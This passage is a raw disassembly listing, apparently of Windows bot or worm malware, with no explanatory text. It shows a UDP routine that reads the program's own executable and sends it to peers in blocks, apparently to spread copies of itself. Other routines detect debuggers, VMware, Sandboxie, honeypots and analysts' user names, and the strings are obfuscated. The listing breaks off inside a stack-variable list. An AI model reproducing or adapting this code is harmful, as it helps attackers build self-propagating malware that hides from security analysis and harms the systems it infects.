		mov	edx, [ebp+arg_B4]
		mov	edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	eax, edx
		mov	esi, offset aSSSExD ; "%s %s ->	%s (Ex:	%d)"
		shl	eax, 6
		lea	ecx, dword_43A380[eax]
		inc	dword ptr [ecx]
		cmp	[ebp+arg_C4], 0
		mov	ecx, [ecx]
		jz	short loc_40A13E
		cmp	[ebp+arg_BC], 0
		jnz	short loc_40A147
		push	ecx
		lea	ecx, [ebp+arg_8]
		lea	eax, dword_43A357[eax]
		push	ecx
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CE4A
		mov	edx, [ebp+arg_B4]
		add	esp, 1Ch


loc_40A13E:				; CODE XREF: sub_409FC8+149j
		cmp	[ebp+arg_BC], 0
		jz	short loc_40A177


loc_40A147:				; CODE XREF: sub_409FC8+152j
		shl	edx, 6
		lea	eax, [ebp+arg_8]
		push	dword_43A380[edx]
		push	eax
		lea	eax, dword_43A357[edx]
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CDD4
		add	esp, 1Ch
		jmp	short loc_40A177
; ---------------------------------------------------------------------------


loc_40A16D:				; CODE XREF: sub_409FC8+11Dj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_401E9E
		pop	ecx


loc_40A177:				; CODE XREF: sub_409FC8+17Dj
					; sub_409FC8+1A3j
		xor	eax, eax
		inc	eax


loc_40A17A:				; CODE XREF: sub_409FC8+BFj
		pop	edi
		pop	esi
		leave
		retn
sub_409FC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A17E	proc near		; CODE XREF: .text:0040A262p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		mov	[ebp+var_10], 2
		call	dword_456F38	; ntohs
		mov	[ebp+var_E], ax
		and	[ebp+var_C], 0
		lea	eax, [ebp+arg_4]
		push	4
		push	eax
		push	4
		push	0FFFFh
		mov	[ebp+arg_4], 1
		push	[ebp+arg_0]
		call	dword_456F10	; setsockopt
		test	eax, eax
		jnz	short loc_40A1E6
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_456F6C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A1E6
		cmp	[ebp+arg_8], 0
		jnz	short loc_40A1EA
		push	0Ah
		push	[ebp+arg_0]
		call	dword_456F68	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A1EA


loc_40A1E6:				; CODE XREF: sub_40A17E+3Cj
					; sub_40A17E+50j
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A1EA:				; CODE XREF: sub_40A17E+56j
					; sub_40A17E+66j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40A17E	endp

; ---------------------------------------------------------------------------


loc_40A1EF:				; DATA XREF: sub_40A9FE+6884o
		push	ebp
		mov	ebp, esp
		sub	esp, 604h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	31h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0F4h]
		rep movsd
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		mov	[eax+0BCh], edi
		mov	eax, [ebp-0F4h]
		push	2
		push	2
		mov	[ebp-8], eax
		call	dword_456FD0	; socket
		push	0Bh
		mov	esi, eax
		call	sub_42381F
		imul	eax, 2724h
		cmp	esi, ebx
		pop	ecx
		mov	dword_46D730[eax], esi
		jnz	short loc_40A24B
		push	ebx
		call	dword_437174	; ExitThread


loc_40A24B:				; CODE XREF: .text:0040A242j
		push	edi
		push	45h
		push	0Bh
		call	sub_42381F
		imul	eax, 2724h
		pop	ecx
		push	dword_46D730[eax]
		call	sub_40A17E
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40A275
		push	ebx
		call	dword_437174	; ExitThread


loc_40A275:				; CODE XREF: .text:0040A26Cj
		lea	eax, [ebp-604h]
		push	104h
		push	eax
		push	ebx
		call	dword_43717C	; GetModuleFileNameA
		test	eax, eax
		jz	loc_40A50D
		lea	eax, [ebp-604h]
		push	offset aRb	; "rb"
		push	eax
		call	sub_42A50C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	loc_40A50D
		mov	esi, 200h


loc_40A2B3:				; CODE XREF: .text:0040A313j
					; .text:0040A3EEj ...
		push	0Bh
		mov	dword ptr [ebp-10h], 5
		mov	dword ptr [ebp-0Ch], 1388h
		mov	[ebp-500h], ebx
		call	sub_42381F
		imul	eax, 2724h
		inc	dword ptr [ebp-500h]
		mov	dword ptr [esp], 104h
		mov	eax, dword_46D730[eax]
		push	ebx
		mov	[ebp-4FCh], eax
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp-10h]
		push	eax
		push	ebx
		lea	eax, [ebp-500h]
		push	ebx
		push	eax
		push	ebx
		call	dword_456F1C	; select
		test	eax, eax
		jz	short loc_40A2B3
		push	10h
		lea	eax, [ebp-4]
		pop	edi
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		push	ebx
		lea	eax, [ebp-3FCh]
		push	104h
		push	eax
		push	0Bh
		mov	[ebp-4], edi
		call	sub_42381F
		imul	eax, 2724h
		pop	ecx
		push	dword_46D730[eax]
		call	dword_456F04	; recvfrom
		test	eax, eax
		jz	loc_40A506
		push	dword ptr [ebp-1Ch]
		call	dword_456FDC	; inet_ntoa
		push	eax
		lea	eax, [ebp-30h]
		push	edi
		push	eax
		call	sub_429BBE
		add	esp, 0Ch
		cmp	[ebp-3FCh], bl
		jnz	loc_40A4F2
		cmp	byte ptr [ebp-3FBh], 1
		jnz	short loc_40A3F3
		push	offset dword_4439A8
		call	sub_4293A0
		push	ebx
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_42A422
		push	dword ptr [ebp+8]
		lea	eax, [ebp-2F4h]
		mov	[ebp-2F8h], bl
		mov	byte ptr [ebp-2F7h], 3
		push	esi
		push	1
		push	eax
		mov	[ebp-2F6h], bl
		mov	byte ptr [ebp-2F5h], 1
		call	sub_42A188
		add	esp, 20h
		lea	ecx, [ebp-20h]
		add	eax, 4
		push	dword ptr [ebp-4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp-2F8h]
		push	eax


loc_40A3D4:				; CODE XREF: .text:0040A501j
		push	0Bh
		call	sub_42381F
		imul	eax, 2724h
		pop	ecx
		push	dword_46D730[eax]
		call	dword_456FAC	; sendto
		jmp	loc_40A2B3
; ---------------------------------------------------------------------------


loc_40A3F3:				; CODE XREF: .text:0040A37Cj
		cmp	byte ptr [ebp-3FBh], 4
		jnz	loc_40A4F2
		mov	cl, [ebp-3F9h]
		mov	al, [ebp-3FAh]
		cmp	cl, 0FFh
		mov	[ebp-2F8h], bl
		mov	byte ptr [ebp-2F7h], 3
		jnz	short loc_40A42A
		inc	al
		xor	cl, cl
		mov	[ebp-2F5h], bl
		jmp	short loc_40A432
; ---------------------------------------------------------------------------


loc_40A42A:				; CODE XREF: .text:0040A41Cj
		inc	cl
		mov	[ebp-2F5h], cl


loc_40A432:				; CODE XREF: .text:0040A428j
		mov	[ebp-2F6h], al
		push	ebx
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_42A422
		push	dword ptr [ebp+8]
		lea	eax, [ebp-2F4h]
		push	esi
		push	1
		push	eax
		call	sub_42A188
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp-20h]
		push	dword ptr [ebp-4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp-2F8h]
		push	eax
		push	0Bh
		call	sub_42381F
		imul	eax, 2724h
		pop	ecx
		push	dword_46D730[eax]
		call	dword_456FAC	; sendto
		cmp	edi, ebx
		jnz	short loc_40A4C4
		cmp	[ebp-44h], ebx
		jz	short loc_40A4C4
		cmp	[ebp-3Ch], ebx
		jnz	short loc_40A4CD
		lea	eax, [ebp-30h]
		push	eax
		push	offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
		lea	eax, [ebp-0F0h]
		push	offset dword_43F0B0
		push	eax
		push	dword ptr [ebp-8]
		call	sub_41CE4A
		add	esp, 14h


loc_40A4C4:				; CODE XREF: .text:0040A498j
					; .text:0040A49Dj
		cmp	[ebp-3Ch], ebx
		jz	loc_40A2B3


loc_40A4CD:				; CODE XREF: .text:0040A4A2j
		lea	eax, [ebp-30h]
		push	eax
		push	offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
		lea	eax, [ebp-0F0h]
		push	offset dword_43F0B0
		push	eax
		push	dword ptr [ebp-8]
		call	sub_41CDD4
		add	esp, 14h
		jmp	loc_40A2B3
; ---------------------------------------------------------------------------


loc_40A4F2:				; CODE XREF: .text:0040A36Fj
					; .text:0040A3FAj
		push	dword ptr [ebp-4]
		lea	eax, [ebp-20h]
		push	eax
		push	ebx
		push	9
		push	offset dword_43F0A4
		jmp	loc_40A3D4
; ---------------------------------------------------------------------------


loc_40A506:				; CODE XREF: .text:0040A34Cj
		push	ebx
		call	dword_437174	; ExitThread


loc_40A50D:				; CODE XREF: .text:0040A28Aj
					; .text:0040A2A8j
		push	ebx
		call	dword_437174	; ExitThread


loc_40A514:				; CODE XREF: sub_40A7C5+A1p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437308
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		and	byte ptr [ebp-19h], 0
		and	dword ptr [ebp-4], 0
		push	ebx
		mov	ebx, 0
		mov	eax, 1
; ---------------------------------------------------------------------------
		db 0Fh,	3Fh, 7
		dd 0FDB850Bh, 5BE74594h, 458B34EBh, 0E04589ECh,	8BE0458Bh
		dd 45890440h, 0DC4D8BDCh, 89FFC883h, 0A481h, 0DC4D8B00h
		dd 0B8898Bh, 0C1830000h, 0DC558B04h, 0B88A89h, 8BC30000h
		dd 4D83E865h, 458AFFFCh, 0F04D8BE7h, 0D8964h, 5F000000h
		dd 0C3C95B5Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5A4	proc near		; CODE XREF: sub_40A7C5+AAp

var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437318
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_19], 1
		and	[ebp+var_4], 0
		push	edx
		push	ecx
		push	ebx
		mov	eax, 564D5868h
		mov	ebx, 0
		mov	ecx, 0Ah
		mov	edx, 5658h
		in	eax, dx
		cmp	ebx, 564D5868h
		setz	[ebp+var_19]
		pop	ebx
		pop	ecx
		pop	edx
		jmp	short loc_40A604
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		and	[ebp+var_19], 0


loc_40A604:				; CODE XREF: sub_40A5A4+53j
		or	[ebp+var_4], 0FFFFFFFFh
		mov	al, [ebp+var_19]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A61A	proc near		; CODE XREF: sub_40A7C5:loc_40A80Dp
		mov	eax, large fs:30h
		mov	eax, [eax+0Ch]
		mov	eax, [eax+0Ch]
		add	dword ptr [eax+20h], 2000h
		retn
sub_40A61A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A62E	proc near		; CODE XREF: sub_40A7C5+B3p

var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_43717C	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_43F0C0
		push	eax
		call	sub_42AEA0
		pop	ecx
		xor	eax, eax
		pop	ecx
		leave
		retn
sub_40A62E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A662	proc near		; CODE XREF: sub_40A7C5+BCp

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		mov	esi, offset aTu4nh09smcg1hc ; "TU-4NH09SMCG1HC"
		push	eax
		mov	[ebp+var_34], esi
		mov	[ebp+var_30], offset aRoo ; "roo"
		mov	[ebp+var_2C], offset aSandbox ;	"Sandbox"
		mov	[ebp+var_28], offset aSnort ; "snort"
		mov	[ebp+var_24], offset aHoney ; "honey"
		mov	[ebp+var_20], offset aHoneyc ; "honeyc"
		mov	[ebp+var_1C], offset aHoneyd ; "honeyd"
		mov	[ebp+var_18], offset aHoneymule	; "HoneyMule"
		mov	[ebp+var_14], offset aVmware ; "vmware"
		mov	[ebp+var_10], offset aCurrentuser ; "currentuser"
		mov	[ebp+var_C], offset aNepenthes ; "nepenthes"
		mov	[ebp+var_8], offset aImail8_001531N ; "(IMail 8.00 153-1) NT-ESMTP Server X1"
		mov	[ebp+var_4], 80h
		call	dword_43700C	; GetUserNameA
		lea	eax, [ebp+var_B4]
		push	eax
		call	dword_43726C	; CharLowerA
		xor	edi, edi


loc_40A6E9:				; CODE XREF: sub_40A662+A1j
		push	[ebp+edi*4+var_34]
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A72C
		inc	edi
		cmp	edi, 0Ch
		jb	short loc_40A6E9
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_43709C	; GetComputerNameA
		test	eax, eax
		jz	short loc_40A731
		lea	eax, [ebp+var_134]
		push	esi
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_40A731


loc_40A72C:				; CODE XREF: sub_40A662+9Bj
		xor	eax, eax
		inc	eax
		jmp	short loc_40A733
; ---------------------------------------------------------------------------


loc_40A731:				; CODE XREF: sub_40A662+B6j
					; sub_40A662+C8j
		xor	eax, eax


loc_40A733:				; CODE XREF: sub_40A662+CDj
		pop	edi
		pop	esi
		leave
		retn
sub_40A662	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A737	proc near		; CODE XREF: sub_40A7C5+C5p
		push	ebx
		push	esi
		mov	ebx, 224h
		push	edi
		push	ebx
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40A7BA
		call	dword_4370AC	; GetCurrentProcessId
		push	eax
		push	8
		call	sub_4290AC	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40A7BA
		push	esi
		push	edi
		mov	[esi], ebx
		call	sub_4290A6	; Module32First
		test	eax, eax
		jz	short loc_40A7AC
		push	esi
		push	edi
		call	sub_4290A0	; Module32Next
		test	eax, eax
		jz	short loc_40A7AC
		lea	ebx, [esi+120h]


loc_40A77F:				; CODE XREF: sub_40A737+73j
		push	offset aSbiedllx ; "SbieDllX"
		push	ebx
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A7C0
		push	offset aSandboxie ; "Sandboxie"
		push	ebx
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A7C0
		push	esi
		push	edi
		call	sub_4290A0	; Module32Next
		test	eax, eax
		jnz	short loc_40A77F


loc_40A7AC:				; CODE XREF: sub_40A737+35j
					; sub_40A737+40j
		push	edi
		call	dword_437044	; CloseHandle
		push	esi
		call	sub_4298F2
		pop	ecx


loc_40A7BA:				; CODE XREF: sub_40A737+13j
					; sub_40A737+28j
		xor	eax, eax


loc_40A7BC:				; CODE XREF: sub_40A737+8Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40A7C0:				; CODE XREF: sub_40A737+57j
					; sub_40A737+68j
		xor	eax, eax
		inc	eax
		jmp	short loc_40A7BC
sub_40A737	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7C5	proc near		; CODE XREF: sub_418E0F+Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	dword_456210, 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40A7DF
		xor	eax, eax
		inc	eax
		jmp	loc_40A917
; ---------------------------------------------------------------------------


loc_40A7DF:				; CODE XREF: sub_40A7C5+10j
		and	[ebp+var_4], 0
		mov	esi, offset aKernel32_dll ; "KERNEL32.DLL"
		push	esi
		call	dword_437070	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_40A7FE
		push	esi
		call	dword_437034	; LoadLibraryA
		test	eax, eax
		jz	short loc_40A80D


loc_40A7FE:				; CODE XREF: sub_40A7C5+2Cj
		push	offset aIsdebuggerpres ; "IsDebuggerPresent"
		push	eax
		call	dword_437030	; GetProcAddress
		mov	[ebp+var_4], eax


loc_40A80D:				; CODE XREF: sub_40A7C5+37j
		call	sub_40A61A
		call	dword_437188	; GetTickCount
		mov	[ebp+var_C], eax
		mov	esi, offset sub_40A91C
		mov	al, [esi]
		cmp	al, 0CCh
		jz	short loc_40A82A
		xor	eax, eax
		jmp	short loc_40A82F
; ---------------------------------------------------------------------------


loc_40A82A:				; CODE XREF: sub_40A7C5+5Fj
		mov	eax, 1


loc_40A82F:				; CODE XREF: sub_40A7C5+63j
		test	al, al
		jz	short loc_40A83B


loc_40A833:				; CODE XREF: sub_40A7C5+9Fj
					; sub_40A7C5+A8j ...
		xor	edi, edi
		inc	edi
		jmp	loc_40A90B
; ---------------------------------------------------------------------------


loc_40A83B:				; CODE XREF: sub_40A7C5+6Cj
		mov	[ebp+var_8], offset aDaemon ; "DAEMON"
		push	0
		push	[ebp+var_8]
		mov	eax, large fs:30h
		movzx	eax, byte ptr [eax+2]
		or	al, al
		jz	short loc_40A857
		jmp	short loc_40A85B
; ---------------------------------------------------------------------------


loc_40A857:				; CODE XREF: sub_40A7C5+8Ej
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A85B:				; CODE XREF: sub_40A7C5+90j
		mov	eax, 1
		leave
		retn
; ---------------------------------------------------------------------------
		test	al, al
		jnz	short loc_40A833
		call	loc_40A514
		test	al, al
		jnz	short loc_40A833
		call	sub_40A5A4
		test	al, al
		jnz	short loc_40A833
		call	sub_40A62E
		test	eax, eax
		jnz	short loc_40A833
		call	sub_40A662
		test	eax, eax
		jnz	short loc_40A833
		call	sub_40A737
		xor	edi, edi
		inc	edi
		test	eax, eax
		jnz	short loc_40A90B
		push	edi
		mov	ebx, offset aSoftwareVmware ; "SOFTWARE\\VMware, Inc.\\VMware Tools"
		push	offset aInstallpath ; "InstallPath"
		mov	esi, 80000002h
		push	ebx
		push	esi
		call	sub_421092
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40A90B
		push	4
		push	offset aShowtray ; "ShowTray"
		push	ebx
		push	esi
		call	sub_421092
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40A90B
		cmp	[ebp+var_4], eax
		jz	short loc_40A8FB
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	esi, [ebp+var_8]
		mov	al, [esi]
		cmp	al, 0CCh
		jz	short loc_40A8E1
		xor	eax, eax
		jmp	short loc_40A8E6
; ---------------------------------------------------------------------------


loc_40A8E1:				; CODE XREF: sub_40A7C5+116j
		mov	eax, 1


loc_40A8E6:				; CODE XREF: sub_40A7C5+11Aj
		test	al, al
		jnz	short loc_40A90B
		call	[ebp+var_4]
		test	eax, eax
		jnz	short loc_40A90B
		call	dword_4370B0	; IsDebuggerPresent
		test	eax, eax
		jnz	short loc_40A90B


loc_40A8FB:				; CODE XREF: sub_40A7C5+107j
		call	dword_437188	; GetTickCount
		sub	eax, [ebp+var_C]
		cmp	eax, 1388h
		jbe	short loc_40A915


loc_40A90B:				; CODE XREF: sub_40A7C5+71j
					; sub_40A7C5+CFj ...
		mov	dword_456210, edi
		mov	eax, edi
		jmp	short loc_40A917
; ---------------------------------------------------------------------------


loc_40A915:				; CODE XREF: sub_40A7C5+144j
		xor	eax, eax


loc_40A917:				; CODE XREF: sub_40A7C5+15j
					; sub_40A7C5+14Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A91C	proc near		; DATA XREF: sub_40A7C5+56o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	al, [esi]
		cmp	al, 0CCh
		jz	short loc_40A92D
		xor	eax, eax
		jmp	short loc_40A932
; ---------------------------------------------------------------------------


loc_40A92D:				; CODE XREF: sub_40A91C+Bj
		mov	eax, 1


loc_40A932:				; CODE XREF: sub_40A91C+Fj
		pop	esi
		pop	ebp
		retn
sub_40A91C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A935	proc near		; CODE XREF: sub_40A9FE+869p
					; sub_40A9FE+9244p ...

var_5A8		= byte ptr -5A8h
var_5A7		= byte ptr -5A7h
var_1A8		= byte ptr -1A8h
var_154		= byte ptr -154h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A8h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_5A8]
		push	[ebp+arg_0]
		push	eax
		call	dword_4370B4	; lstrcpyA
		cmp	[ebp+var_5A7], 0
		jz	loc_40A9F6
		mov	al, [ebp+var_5A8]
		cmp	al, byte_4439A0
		jnz	loc_40A9F6
		push	40h
		lea	eax, [ebp+var_100]
		push	[ebp+arg_0]
		push	eax
		call	sub_42777F
		mov	ebx, eax
		lea	eax, [ebp+var_100]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_42030A
		add	esp, 18h
		cmp	[ebp+var_100], 0
		mov	esi, eax
		lea	edi, [ebp+var_154]
		push	15h
		pop	ecx
		rep movsd
		jz	short loc_40A9F6
		mov	eax, [ebp+var_100]
		mov	al, [eax]
		cmp	al, byte_4439A0
		jnz	short loc_40A9F6
		push	[ebp+arg_10]
		inc	[ebp+var_100]
		lea	eax, [ebp+var_5A8]
		lea	esi, [ebp+var_154]
		sub	esp, 54h
		push	15h
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_8]
		rep movsd
		push	[ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_100]
		push	ebx
		push	eax
		call	sub_40A9FE
		add	esp, 6Ch


loc_40A9F6:				; CODE XREF: sub_40A935+23j
					; sub_40A935+35j ...
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_40A935	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9FE	proc near		; CODE XREF: sub_40A935+B9p
					; sub_42045F+10Ep

var_6DBB0	= byte ptr -6DBB0h
var_6B4A0	= byte ptr -6B4A0h
var_68D90	= byte ptr -68D90h
var_66680	= byte ptr -66680h
var_63F70	= byte ptr -63F70h
var_61860	= byte ptr -61860h
var_5F150	= byte ptr -5F150h
var_5CA40	= byte ptr -5CA40h
var_5A330	= byte ptr -5A330h
var_57C20	= byte ptr -57C20h
var_55510	= byte ptr -55510h
var_52E00	= byte ptr -52E00h
var_506F0	= byte ptr -506F0h
var_4DFE0	= byte ptr -4DFE0h
var_4B8D0	= byte ptr -4B8D0h
var_491C0	= byte ptr -491C0h
var_46AB0	= byte ptr -46AB0h
var_443A0	= byte ptr -443A0h
var_41C90	= byte ptr -41C90h
var_3F580	= byte ptr -3F580h
var_3CE70	= byte ptr -3CE70h
var_3A760	= byte ptr -3A760h
var_38050	= byte ptr -38050h
var_35940	= byte ptr -35940h
var_33230	= byte ptr -33230h
var_30B20	= byte ptr -30B20h
var_2E410	= byte ptr -2E410h
var_2BD00	= byte ptr -2BD00h
var_295F0	= byte ptr -295F0h
var_26EE0	= byte ptr -26EE0h
var_247D0	= byte ptr -247D0h
var_220C0	= byte ptr -220C0h
var_1F9B0	= byte ptr -1F9B0h
var_1D2A0	= byte ptr -1D2A0h
var_1AB90	= byte ptr -1AB90h
var_18480	= byte ptr -18480h
var_15D70	= byte ptr -15D70h
var_13660	= byte ptr -13660h
var_10F50	= byte ptr -10F50h
var_E840	= byte ptr -0E840h
var_C131	= byte ptr -0C131h
var_C130	= byte ptr -0C130h
var_9A20	= byte ptr -9A20h
var_7310	= byte ptr -7310h
var_7180	= byte ptr -7180h
var_6D80	= byte ptr -6D80h
var_6C7C	= dword	ptr -6C7Ch
var_6C78	= byte ptr -6C78h
var_6878	= byte ptr -6878h
var_6478	= byte ptr -6478h
var_63F8	= dword	ptr -63F8h
var_63F4	= dword	ptr -63F4h
var_63F0	= dword	ptr -63F0h
var_63E8	= dword	ptr -63E8h
var_63E4	= dword	ptr -63E4h
var_63E0	= dword	ptr -63E0h
var_63DC	= dword	ptr -63DCh
var_63D8	= dword	ptr -63D8h
var_63D4	= byte ptr -63D4h
var_62D0	= byte ptr -62D0h
var_61CC	= byte ptr -61CCh
var_60CC	= byte ptr -60CCh
var_5FC8	= byte ptr -5FC8h
var_5EC8	= byte ptr -5EC8h
var_5DC4	= byte ptr -5DC4h
var_5CC0	= byte ptr -5CC0h
var_5BC0	= dword	ptr -5BC0h
var_5BBC	= dword	ptr -5BBCh
var_5ABC	= byte ptr -5ABCh
var_59BC	= byte ptr -59BCh
var_32AC	= byte ptr -32ACh
var_31AC	= byte ptr -31ACh
var_30AC	= byte ptr -30ACh
var_2FAC	= byte ptr -2FACh
var_2EA8	= byte ptr -2EA8h
var_2DA4	= byte ptr -2DA4h
var_2D24	= byte ptr -2D24h
var_2C20	= byte ptr -2C20h
var_2B80	= byte ptr -2B80h
var_2A7C	= byte ptr -2A7Ch
var_2978	= dword	ptr -2978h
var_2968	= dword	ptr -2968h
var_28E4	= dword	ptr -28E4h
var_28E0	= dword	ptr -28E0h
var_285C	= byte ptr -285Ch
var_27D8	= dword	ptr -27D8h
var_27D4	= dword	ptr -27D4h
var_27CC	= dword	ptr -27CCh
var_27C8	= byte ptr -27C8h
var_2748	= byte ptr -2748h
var_26C8	= byte ptr -26C8h
var_2648	= dword	ptr -2648h
var_2644	= dword	ptr -2644h
var_2640	= dword	ptr -2640h
var_263C	= dword	ptr -263Ch
var_2638	= dword	ptr -2638h
var_25B4	= dword	ptr -25B4h
var_257C	= dword	ptr -257Ch
var_2574	= byte ptr -2574h
var_2470	= byte ptr -2470h
var_236C	= byte ptr -236Ch
var_2268	= byte ptr -2268h
var_2230	= byte ptr -2230h
var_21F8	= byte ptr -21F8h
var_21C0	= dword	ptr -21C0h
var_21B8	= byte ptr -21B8h
var_2124	= byte ptr -2124h
var_2020	= byte ptr -2020h
var_1F98	= dword	ptr -1F98h
var_1F94	= dword	ptr -1F94h
var_1F8C	= byte ptr -1F8Ch
var_1F54	= byte ptr -1F54h
var_1F1C	= dword	ptr -1F1Ch
var_1F18	= byte ptr -1F18h
var_1E98	= byte ptr -1E98h
var_1E18	= byte ptr -1E18h
var_1D98	= dword	ptr -1D98h
var_1D94	= dword	ptr -1D94h
var_1D90	= dword	ptr -1D90h
var_1D8C	= dword	ptr -1D8Ch
var_1D88	= dword	ptr -1D88h
var_1D84	= dword	ptr -1D84h
var_1D80	= dword	ptr -1D80h
var_1D7C	= dword	ptr -1D7Ch
var_1D78	= byte ptr -1D78h
var_1D44	= dword	ptr -1D44h
var_1D3C	= byte ptr -1D3Ch
var_1CBC	= byte ptr -1CBCh
var_1C34	= dword	ptr -1C34h
var_1C2C	= dword	ptr -1C2Ch
var_1C28	= dword	ptr -1C28h
var_1C24	= dword	ptr -1C24h
var_1C20	= dword	ptr -1C20h
var_1C18	= dword	ptr -1C18h
var_1C14	= dword	ptr -1C14h
var_1C10	= byte ptr -1C10h
var_1B90	= byte ptr -1B90h
var_1B10	= dword	ptr -1B10h
var_1B08	= dword	ptr -1B08h
var_1B04	= dword	ptr -1B04h
var_1AFC	= dword	ptr -1AFCh
var_1AF8	= dword	ptr -1AF8h
var_1AF4	= dword	ptr -1AF4h
var_1AF0	= dword	ptr -1AF0h
var_1AEC	= byte ptr -1AECh
var_1A6C	= dword	ptr -1A6Ch
